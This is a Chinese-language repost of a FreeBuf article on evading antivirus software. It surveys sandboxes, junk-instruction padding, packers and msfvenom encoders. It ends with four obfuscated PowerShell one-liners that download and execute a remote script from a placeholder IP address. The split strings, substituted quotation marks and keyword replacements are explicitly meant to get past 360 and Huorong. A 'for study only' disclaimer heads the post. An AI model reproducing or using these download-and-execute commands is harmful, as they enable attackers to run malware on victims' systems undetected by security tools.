本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
VMWare
的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。shellcode
或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。UPX
、 ASPack
等。msfvenom
提供了多种格式的 payload
和 encoder
,生成的 shellcode
也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。shikata_ga_nai
是 msf
中唯一的评价是 excellent
的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。msfvenom
的 encoder
特征基本都进入了杀软的漏洞库。互联网上有很多借助于 C、C#、python
等语言对 shellcode
进行二次编码从而达到免杀的效果。Windows PowerShell
是一个命令行管理程序,相比较于CMD
命令行,它更为强大,同时,它又是一种脚本语言,为系统管理设计。在.NET Framework
的基础上构建,简单来说,可以类比UNIX
系统的脚本(shell)。Monad
,在2005年发布第一个版本,到2006年被重命名为Windows PowerShell
,目前微软官网文档,已经更新到7.2版本,第一款默认集成PowerShell
的系统版本是Windows Server 2008
。# 拆分DownloadString函数 + echo 过最新版火绒 + 360 12.X版本 cmd /c echo $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://XX.XX.XX.XX/test.ps1'')'.Replace('123','adString');IEX ($c1+$c2) | powershell -
# 拆分http关键字,过360 12.X版本 powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"
#通过中文引号,绕过360 12.X版本 powershell "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://XX.XX.XX.XX/test.ps1'))"
# 替换IEX + http拆分 绕过最新版火绒 powershell "$a='123((New-Object Net.WebClient).DownloadString(''ht'.Replace('123','IEX');$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"
作者:忘川丶
原文:https://www.freebuf.com/articles/web/356609.html